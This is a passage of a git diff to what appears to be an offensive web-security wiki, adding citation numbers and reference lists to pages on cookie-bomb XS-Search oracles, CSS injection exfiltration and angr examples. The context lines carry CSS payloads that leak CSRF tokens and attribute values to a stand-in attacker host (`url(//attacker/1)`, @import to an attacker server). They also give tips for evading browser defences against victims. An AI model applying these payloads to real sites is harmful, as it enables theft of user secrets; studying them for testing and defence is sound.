Large is commonly returned when cookies inflate request headers; 414 URI Too Long or a server-specific 400 may be returned for long request targets. Any of these result in a failed subresource load and fire onerror. See [MDN’s 431 entry](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431) for typical causes like excessive cookies. +- 431 Request Header Fields Too Large is commonly returned when cookies inflate request headers; 414 URI Too Long or a server-specific 400 may be returned for long request targets. Any of these result in a failed subresource load and fire onerror. See [MDN’s 431 entry](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431) for typical causes like excessive cookies.<sup>[[1]](#references)</sup> <details> <summary>Practical example (angstromCTF 2022)</summary> -The following script (from a public writeup) abuses a feature that lets the attacker insert arbitrary cookies, then loads a cross-origin search endpoint as a script. When the query is correct, the server performs a redirect that, together with the cookie bloat, exceeds server limits and returns an error status, so script.onerror fires; otherwise nothing happens. +The following script (from a public writeup) abuses a feature that lets the attacker insert arbitrary cookies, then loads a cross-origin search endpoint as a script. When the query is correct, the server performs a redirect that, together with the cookie bloat, exceeds server limits and returns an error status, so script.onerror fires; otherwise nothing happens.<sup>[[2]](#references)</sup> ```html <>'"; @@ -84,7 +84,7 @@ Why the popup (`window.open`)? - Modern browsers increasingly block third-party cookies. Opening a top-level window to the target makes cookies first‑party so Set-Cookie responses from the target will stick, enabling the cookie-bomb step even with third‑party cookie restrictions. 2024–2025 notes on cookie availability -- Chrome’s Tracking Protection rollout (January 2024) is already blocking third-party cookies for a random cohort and is slated to expand to the entire user base once the UK CMA signs off, so assume any victim can abruptly lose 3P cookies. Automate the fallback: detect when your script probe fails without ever hitting the target and transparently pivot to the popup/first-party flow. Safari and Firefox already block most third-party cookies by default and CHIPS/partitioned cookies mean each top-level site now has its own jar. +- Chrome’s Tracking Protection rollout (January 2024) is already blocking third-party cookies for a random cohort and is slated to expand to the entire user base once the UK CMA signs off, so assume any victim can abruptly lose 3P cookies. Automate the fallback: detect when your script probe fails without ever hitting the target and transparently pivot to the popup/first-party flow. Safari and Firefox already block most third-party cookies by default and CHIPS/partitioned cookies mean each top-level site now has its own jar.<sup>[[3]](#references)</sup> - Use a first‑party cookie planting flow (`window.open` + auto-submit to a cookie-setting endpoint) and then probe with a subresource that only succeeds when those cookies are sent. If third‑party cookies are blocked, move the probe into a same-site context (e.g., run the oracle in the popup via a same-site gadget and exfiltrate the boolean with `postMessage` or a beacon to your server), or enroll the victim origin in Chrome’s deprecation trial if you legitimately control it. <details> @@ -156,7 +156,7 @@ function deBruijn(k, n, alphabet=ALPH){ return seq.map(i=>alphabet[i]).join(''); } ``` -- Idea in practice: set multiple cookies whose values are prefix + deBruijn(k,n). Only when the tested prefix is correct does the server take the heavy path (e.g., extra redirect reflecting the long cookie or URL), which, combined with the cookie bloat, crosses limits and flips onerror. See a LA CTF 2024 public solver using this approach. +- Idea in practice: set multiple cookies whose values are prefix + deBruijn(k,n). Only when the tested prefix is correct does the server take the heavy path (e.g., extra redirect reflecting the long cookie or URL), which, combined with the cookie bloat, crosses limits and flips onerror. See a LA CTF 2024 public solver using this approach.<sup>[[4]](#references)</sup> Tips to build the oracle - Force the “positive” state to be heavier: chain an extra redirect only when the predicate is true, or make the redirect URL reflect unbounded user input so it grows with the guessed prefix. @@ -166,10 +166,10 @@ Tips to build the oracle - Alternate subresources: if `<script>` is filtered, try `<link rel=stylesheet>` or `<img>`. The onload/onerror boolean is the oracle; content never needs to be parsed. Common header/URL limits (useful thresholds) -- Reverse proxies/CDNs and servers enforce different caps. As of October 2025, Cloudflare documents 128 KB total for request headers (and 16 KB URL) on the edge, so you may need more/larger cookies when targets sit behind it. Other stacks (e.g., Apache via LimitRequestFieldSize) are often closer to ~8 KB per header line and will hit errors earlier. Adjust bomb size accordingly (see [Cloudflare’s documented limit](https://developers.cloudflare.com/fundamentals/reference/connection-limits/)). +- Reverse proxies/CDNs and servers enforce different caps. As of October 2025, Cloudflare documents 128 KB total for request headers (and 16 KB URL) on the edge, so you may need more/larger cookies when targets sit behind it. Other stacks (e.g., Apache via LimitRequestFieldSize) are often closer to ~8 KB per header line and will hit errors earlier. Adjust bomb size accordingly (see [Cloudflare’s documented limit](https://developers.cloudflare.com/fundamentals/reference/connection-limits/)).<sup>[[5]](#references)</sup> Browser hardening watchlist (2025+) -- Firefox 139/ESR 128.11 (May 2025) tightened script tag load/error accounting for cross-origin resources (CVE-2025-5266). On patched clients the `onerror` signal for certain redirected responses is suppressed, so diversify the oracle (parallel `<link rel=stylesheet>`, `<img>`, or `fetch` with mismatched MIME) and fingerprint the victim UA before assuming the boolean still fires. +- Firefox 139/ESR 128.11 (May 2025) tightened script tag load/error accounting for cross-origin resources (CVE-2025-5266). On patched clients the `onerror` signal for certain redirected responses is suppressed, so diversify the oracle (parallel `<link rel=stylesheet>`, `<img>`, or `fetch` with mismatched MIME) and fingerprint the victim UA before assuming the boolean still fires.<sup>[[6]](#references)</sup> - Expect enterprise Chromium builds with Tracking Protection or Fetch Metadata policies to intermittently strip cookies or rewrite redirects. Detect these cases by probing a short endpoint first; when it fails, automatically pivot to running the entire attack inside the popup and relaying bits through `postMessage`/`BroadcastChannel`. Related XS-Search tricks @@ -180,15 +180,16 @@ url-max-length-client-side.md {{#endref}} Notes -- This class of attacks is discussed broadly as “Error Events” XS-Leaks. The cookie-bomb step is just a convenient way to push only one branch over server limits, producing a reliable boolean oracle. +- This class of attacks is discussed broadly as “Error Events” XS-Leaks.<sup>[[7]](#references)</sup> The cookie-bomb step is just a convenient way to push only one branch over server limits, producing a reliable boolean oracle. +## References +- [1] [MDN: 431 Request Header Fields Too Large](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431) +- [2] [angstromCTF 2022 writeup - Sustenance (Huli)](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) +- [3] [Chrome Tracking Protection rollout details](https://blog.google/products/chrome/privacy-sandbox-tracking-protection/) +- [4] [LA CTF 2024 writeup note showing a de Bruijn cookie-bomb oracle](https://gist.github.com/arkark/5787676037003362131f30ca7c753627) +- [5] [Cloudflare edge limits (URLs 16 KB, request headers 128 KB)](https://developers.cloudflare.com/fundamentals/reference/connection-limits/) +- [6] [Mozilla MFSA 2025-44 (CVE-2025-5266) tightening script tag onerror behavior](https://www.mozilla.org/en-US/security/advisories/mfsa2025-44/) +- [7] [XS-Leaks Wiki: Error Events](https://xsleaks.dev/docs/attacks/error-events/) -## References -- XS-Leaks: Error Events (onerror/onload as an oracle): https://xsleaks.dev/docs/attacks/error-events/ -- MDN: 431 Request Header Fields Too Large (common with many cookies): https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431 -- LA CTF 2024 writeup note showing a de Bruijn cookie-bomb oracle: https://gist.github.com/arkark/5787676037003362131f30ca7c753627 -- Cloudflare edge limits (URLs 16 KB, request headers 128 KB): https://developers.cloudflare.com/fundamentals/reference/connection-limits/ -- Chrome Tracking Protection rollout details: https://blog.google/products/chrome/privacy-sandbox-tracking-protection/ -- Mozilla MFSA 2025-44 (CVE-2025-5266) tightening script tag onerror behavior: https://www.mozilla.org/en-US/security/advisories/mfsa2025-44/ {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index feea4c0847b..3d79978429e 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -14,7 +14,7 @@ less-code-injection.md ### Attribute Selector -CSS selectors are crafted to match values of an `input` element's `name` and `value` attributes. If the input element's value attribute starts with a specific character, a predefined external resource is loaded: +CSS selectors are crafted to match values of an `input` element's `name` and `value` attributes. If the input element's value attribute starts with a specific character, a predefined external resource is loaded:<sup>[[1]](#references)[[3]](#references)[[4]](#references)</sup> ```css input[name="csrf"][value^="a"] { @@ -33,7 +33,7 @@ However, this approach faces a limitation when dealing with hidden input element #### Bypass for Hidden Elements -To circumvent this limitation, you can target a subsequent sibling element using the `~` general sibling combinator. The CSS rule then applies to all siblings following the hidden input element, causing the background image to load: +To circumvent this limitation, you can target a subsequent sibling element using the `~` general sibling combinator. The CSS rule then applies to all siblings following the hidden input element, causing the background image to load:<sup>[[2]](#references)</sup> ```css input[name="csrf"][value^="csrF"] ~ * { @@ -41,7 +41,7 @@ input[name="csrf"][value^="csrF"] ~ * { } ``` -A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). +A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).<sup>[[2]](#references)</sup> #### Prerequisites for CSS Injection @@ -53,7 +53,7 @@ For the CSS Injection technique to be effective, certain conditions must be met: ### Blind Attribute Selector -As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\ +As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.<sup>[[11]](#references)</sup>\ It's also possible to use those selectors to extract information from several block of the same type like in: ```html @@ -74,7 +74,7 @@ The previous technique has some drawbacks, check the prerequisites. You either n However, there is another clever technique that uses **CSS `@import`** to improve the quality of the technique. -This was first showed by [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) and it works like this: +This was first showed by [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) and it works like this:<sup>[[12]](#references)</sup> Instead of loading the same page once and again with tens of different payloads each time (like in the previous one), we are going to **load the page just once and just with an import to the attackers server** (this is the payload to send to the victim): @@ -92,7 +92,7 @@ Instead of loading the same page once and again with tens of different payloads The attacker will f**ollow that loop until it manages to leak completely the secret**. -You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection) +You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)<sup>[[13]](#references)</sup> > [!TIP] > The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like: @@ -117,15 +117,15 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi ### Inline-Style CSS Exfiltration (attr() + if() + image-set()) -This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value. +This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.<sup>[[5]](#references)[[7]](#references)</sup> > [!WARNING] > Equality comparisons in if() require double quotes for string literals. Single quotes will not match. - Sink: control an element's style attribute and ensure the target attribute is on the same element (attr() reads only same-element attributes). -- Read: copy the attribute into a CSS variable: `--val: attr(title)`. -- Decide: select a URL using nested conditionals comparing the variable with string candidates: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`. -- Exfiltrate: apply `background: image-set(var(--steal))` (or any fetching property) to force a request to the chosen endpoint. +- Read: copy the attribute into a CSS variable: `--val: attr(title)`.<sup>[[9]](#references)</sup> +- Decide: select a URL using nested conditionals comparing the variable with string candidates: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.<sup>[[8]](#references)</sup> +- Exfiltrate: apply `background: image-set(var(--steal))` (or any fetching property) to force a request to the chosen endpoint.<sup>[[10]](#references)</sup> Attempt (does not work; single quotes in comparison): @@ -157,14 +157,14 @@ Notes and limitations: - Best suited for finite/enumerable value spaces (IDs, flags, short usernames). Stealing arbitrary long strings without external stylesheets remains challenging. - Any CSS property that fetches a URL can be used to trigger the request (e.g., background/image-set, border-image, list-style, cursor, content). -Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda +Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda<sup>[[6]](#references)</sup> ### Other selectors Other ways to access DOM parts with **CSS selectors**: - **`.class-to-search:nth-child(2)`**: This will search the second item with class "class-to-search" in the DOM. -- **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:** +- **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**<sup>[[21]](#references)</sup> ```css [role^="img"][aria-label="1"]:empty { @@ -176,7 +176,7 @@ Other ways to access DOM parts with **CSS selectors**: **Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234) -The overall intention is to **use a custom font from a controlled endpoint** and ensure that **text (in this case, 'A') is displayed with this font only if the specified resource (`favicon.ico`) cannot be loaded**. +The overall intention is to **use a custom font from a controlled endpoint** and ensure that **text (in this case, 'A') is displayed with this font only if the specified resource (`favicon.ico`) cannot be loaded**.<sup>[[14]](#references)[[15]](#references)</sup> ```html <!DOCTYPE html> @@ -216,7 +216,7 @@ The overall intention is to **use a custom font from a controlled endpoint** and The **`:target`** pseudo-class is employed to select an element targeted by a **URL fragment**, as specified in the [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). It's crucial to understand that `::target-text` doesn't match any elements unless the text is explicitly targeted by the fragment. -A security concern arises when attackers exploit the **Scroll-to-text** fragment feature, allowing them to confirm the presence of specific text on a webpage by loading a resource from their server through HTML injection. The method involves injecting a CSS rule like this: +A security concern arises when attackers exploit the **Scroll-to-text** fragment feature, allowing them to confirm the presence of specific text on a webpage by loading a resource from their server through HTML injection.<sup>[[16]](#references)</sup> The method involves injecting a CSS rule like this: ```css :target::before { @@ -280,7 +280,7 @@ When you access this page, Chrome and Firefox fetch "?A" and "?B" because text n **Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/) -The technique described involves extracting text from a node by exploiting font ligatures and monitoring changes in width. The process involves several steps: +The technique described involves extracting text from a node by exploiting font ligatures and monitoring changes in width.<sup>[[17]](#references)</sup> The process involves several steps: 1. **Creation of Custom Fonts**: @@ -321,7 +321,7 @@ The technique described involves extracting text from a node by exploiting font **Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html) -This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). The charset used in a text node can be leaked **using the default fonts** installed in the browser: no external -or custom- fonts are needed. +This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). The charset used in a text node can be leaked **using the default fonts** installed in the browser: no external -or custom- fonts are needed.<sup>[[18]](#references)[[19]](#references)</sup> The concept revolves around utilizing an animation to incrementally expand a `div`'s width, allowing one character at a time to transition from the 'suffix' part of the text to the 'prefix' part. This process effectively splits the text into two sections: @@ -780,13 +780,13 @@ div::-webkit-scrollbar:vertical { **Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) -This case is very similar to the previous one, however, in this case the goal of making specific **chars bigger than other is to hide something** like a button to not be pressed by the bot or a image that won't be loaded. So we could measure the action (or lack of the action) and know if a specific char is present inside the text. +This case is very similar to the previous one, however, in this case the goal of making specific **chars bigger than other is to hide something** like a button to not be pressed by the bot or a image that won't be loaded. So we could measure the action (or lack of the action) and know if a specific char is present inside the text.<sup>[[20]](#references)</sup> ### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> **Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) -In this case, we could try to leak if a char is in the text by loading a fake font from the same origin: +In this case, we could try to leak if a char is in the text by loading a fake font from the same origin:<sup>[[20]](#references)</sup> ```css @font-face { @@ -804,7 +804,7 @@ However, if the time difference of the cached response from the non-cached one i **Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) -In this case you can indicate **CSS to load hundreds of fake fonts** from the same origin when a match occurs. This way you can **measure the time** it takes and find out if a char appears or not with something like: +In this case you can indicate **CSS to load hundreds of fake fonts** from the same origin when a match occurs. This way you can **measure the time** it takes and find out if a char appears or not with something like:<sup>[[20]](#references)</sup> ```css @font-face { @@ -827,15 +827,26 @@ So, if the font does not match, the response time when visiting the bot is expec ## References -- [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e) -- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b) -- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d) -- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/) -- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration) -- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda) -- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php) -- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if) -- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr) -- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set) +- [1] [LINE CTF 2022 - CSS/XS-Leak writeup (gist)](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e) +- [2] [Better Exfiltration via HTML Injection (d0nut)](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b) +- [3] [Exfiltration via CSS Injection](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d) +- [4] [CSS Injection Primitives (Doomsday Vault)](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/) +- [5] [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration) +- [6] [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda) +- [7] [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php) +- [8] [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if) +- [9] [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr) +- [10] [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set) +- [11] [Blind CSS Exfiltration (PortSwigger)](https://portswigger.net/research/blind-css-exfiltration) +- [12] [CSS Injection Attacks - slides (Pepe Vila)](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) +- [13] [Pepe Vila's @import CSS exfiltration PoC (gist)](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) +- [14] [CSS based Attack: Abusing unicode-range of @font-face (Masato Kinugawa)](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html) +- [15] [Error-Based XS-Search PoC (@terjanq)](https://twitter.com/terjanq/status/1180477124861407234) +- [16] [New technique of stealing data using CSS and Scroll-to-Text Fragment (SECFORCE)](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/) +- [17] [Wykradanie danych w świetnym stylu (Michał Bentkowski, sekurak)](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/) +- [18] [PoC: leaking the charset with a default font (Cgvwzq & Terjanq)](https://demo.vwzq.net/css2.html) +- [19] [What can we do with single CSS injection? (Slackers thread)](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/) +- [20] [justCTF 2022 write-up (Huli's blog)](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) +- [21] [bi0sCTF 2022 - Emo-Locker writeup](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing/reversing-tools-basic-methods/angr/README.md b/src/reversing/reversing-tools-basic-methods/angr/README.md index 87e02f5d673..14b7d59de81 100644 --- a/src/reversing/reversing-tools-basic-methods/angr/README.md +++ b/src/reversing/reversing-tools-basic-methods/angr/README.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -Part of this cheatsheet is based on the [angr documentation](https://docs.angr.io/_/downloads/en/stable/pdf/). +Part of this cheatsheet is based on the [angr documentation](https://docs.angr.io/_/downloads/en/stable/pdf/).<sup>[[1]](#references)</sup> ## Installation @@ -210,7 +210,8 @@ Furthermore, you can use `proj.hook_symbol(name, hook)`, providing the name of a ## Examples -{{#include ../../../banners/hacktricks-training.md}} - +## References +- [1] [angr documentation](https://docs.angr.io/_/downloads/en/stable/pdf/) +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md b/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md index b92df68822f..58ae79c6de8 100644 --- a/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md +++ b/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md @@ -5,7 +5,7 @@ > [!TIP] > If the program is using `scanf` to get **several values at once from stdin** you need to generate a state that starts after the **`scanf`**. -Codes taken from [https://github.com/jakespringer/angr_ctf](https://github.com/jakespringer/angr_ctf) +Codes taken from [https://github.com/jakespringer/angr_ctf](https://github.com/jakespringer/angr_ctf)<sup>[[1]](#references)</sup> ### Input to reach address (indicating the address) @@ -833,7 +833,8 @@ if __name__ == '__main__': main(sys.argv) ``` -{{#include ../../../banners/hacktricks-training.md}} - +## References +- [1] [jakespringer/angr_ctf - GitHub repository](https://github.com/jakespringer/angr_ctf) +{{#include ../../../banners/hacktricks-training.md}} From 30a6afac3a37eae2ee56eeff00e2bed8f1f014dc Mon Sep 17 00:00:00 2001 From: Carlos Polop <carlospolop@gmail.com> Date: Thu, 6 Aug 2026 12:53:03 +0200 Subject: [PATCH 3/7] References: restore 12 source entries dropped by the audit pass (7 files) --- .../bypassing-sop-with-iframes-2.md | 2 ++ src/pentesting-web/rate-limit-bypass.md | 2 ++ src/pentesting-web/saml-attacks/README.md | 1 + src/pentesting-web/ssrf-server-side-request-forgery/README.md | 1 + src/pentesting-web/unicode-injection/README.md | 1 + src/pentesting-web/unicode-injection/unicode-normalization.md | 3 +++ src/pentesting-web/websocket-attacks.md | 2 ++ 7 files changed, 12 insertions(+) diff --git a/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md b/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md index 3cef4c980a1..8c08e784fd5 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md +++ b/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md @@ -126,5 +126,7 @@ Combine this with the DOM-clobbering trick above: once the receiver only sees `e - [1] [PostMessage Vulnerabilities: When Cross-Window Communication Goes Wrong](https://instatunnel.my/blog/postmessage-vulnerabilities-when-cross-window-communication-goes-wrong) - [2] [THM Write-up: Vulnerable Codes](https://fatsec.medium.com/thm-write-up-vulnerable-codes-9ea8fe8464f9) +- [3] [SekaiCTF 2022 - obligatory-calc solution](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) +- [4] [obligatory-calc final solution (calc.html) by @terjanq](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/rate-limit-bypass.md b/src/pentesting-web/rate-limit-bypass.md index f352e22632a..11d33e550a4 100644 --- a/src/pentesting-web/rate-limit-bypass.md +++ b/src/pentesting-web/rate-limit-bypass.md @@ -160,5 +160,7 @@ Make sure the limiter key is not per-account; otherwise also rotate user IDs / s - [2] [PortSwigger Web Security Academy – GraphQL API vulnerabilities: Bypassing rate limiting using aliases](https://portswigger.net/web-security/graphql) - [3] [Cloudflare Docs – WebSockets & WAF applicability](https://developers.cloudflare.com/network/websockets/) - [4] [Cloudflare Docs – Request rate calculation and PoP-local counters](https://developers.cloudflare.com/waf/rate-limiting-rules/request-rate/) +- [5] [PortSwigger Research – “Bypassing rate limits with GraphQL aliasing” (2023)](https://portswigger.net/research/graphql-authorization-bypass) +- [6] [PortSwigger Research – “HTTP/2: The Sequel is Always Worse” (connection-based throttling) (2024)](https://portswigger.net/research/http2) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/saml-attacks/README.md b/src/pentesting-web/saml-attacks/README.md index a4845bcc588..f74e272bce4 100644 --- a/src/pentesting-web/saml-attacks/README.md +++ b/src/pentesting-web/saml-attacks/README.md @@ -495,5 +495,6 @@ The same parser weakness that gives an overread can also crash the SAML processi - [11] [CitrixBleed To Infinity And Beyond: Citrix NetScaler Pre-Auth Memory Overread CVE-2026-8451](https://labs.watchtowr.com/citrixbleed-to-infinity-and-beyond-citrix-netscaler-pre-auth-memory-overread-cve-2026-8451/) - [12] [watchTowr-vs-Netscaler-CVE-2026-8451](https://github.com/watchtowrlabs/watchTowr-vs-Netscaler-CVE-2026-8451) - [13] [Pwn2Own Ireland 2025: Bypassing Authentication via Synology DS925+ SAML SSO](https://chanzep.github.io/posts/pwn2own-ireland-2025-bypassing-authentication-via-synology-ds925-saml-sso) +- [14] [How to test SAML: a methodology (part one)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/README.md b/src/pentesting-web/ssrf-server-side-request-forgery/README.md index 47d370b90aa..c64f3d96055 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/README.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/README.md @@ -537,5 +537,6 @@ https://github.com/incredibleindishell/SSRF_Vulnerable_Lab - [10] [CFITSIO's Extended Filename Syntax - HEASARC](https://heasarc.gsfc.nasa.gov/docs/software/fitsio/filters.html) - [11] [CFITSIO FITS File Access Routines (`fits_open_diskfile`, `fits_open_datafile`) - HEASARC](https://heasarc.gsfc.nasa.gov/docs/software/fitsio/c/c_user/node35.html) - [12] [Novel SSRF Technique Involving HTTP Redirect Loops - Assetnote Security Research Center](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/) +- [13] [SECCON CTF 2022 Quals - easylfi writeup](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/unicode-injection/README.md b/src/pentesting-web/unicode-injection/README.md index 7ea218515f7..dc5a4d389b4 100644 --- a/src/pentesting-web/unicode-injection/README.md +++ b/src/pentesting-web/unicode-injection/README.md @@ -185,5 +185,6 @@ echo iconv('UTF-8', 'ASCII//TRANSLIT', mb_convert_encoding($a, 'UTF-8', 'Windows - [3] [Unicode Explorer](https://unicode-explorer.com/) - [4] [Abusing unicode characters to PWN Intigriti XSS challenge](https://www.youtube.com/watch?v=aUsAHb0E7Cg) - [5] [How I found an XSS vulnerability via using emojis](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) +- [6] [HackTricks - Unicode normalization](unicode-normalization.md) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md index deb0a584ec7..baed9ee01b5 100644 --- a/src/pentesting-web/unicode-injection/unicode-normalization.md +++ b/src/pentesting-web/unicode-injection/unicode-normalization.md @@ -178,5 +178,8 @@ PortSwigger also added checks/helpers for this class in **ActiveScan++**, **Hack - [4] [PortSwigger Research - Cookie Chaos: how to bypass Host and Secure cookie prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes) - [5] [Orange Tsai / DEVCORE - WorstFit: Unveiling Hidden Transformers in Windows ANSI!](https://devco.re/blog/2025/01/09/worstfit-unveiling-hidden-transformers-in-windows-ansi/) - [6] [PortSwigger Research - Bypassing character blocklists with Unicode overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows) +- [7] [Creative usernames and Spotify account hijacking](https://labs.spotify.com/2013/06/18/creative-usernames/) +- [8] [Why does directory traversal attack "%c0%af" work?](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work) +- [9] [Bypass WAF with Unicode 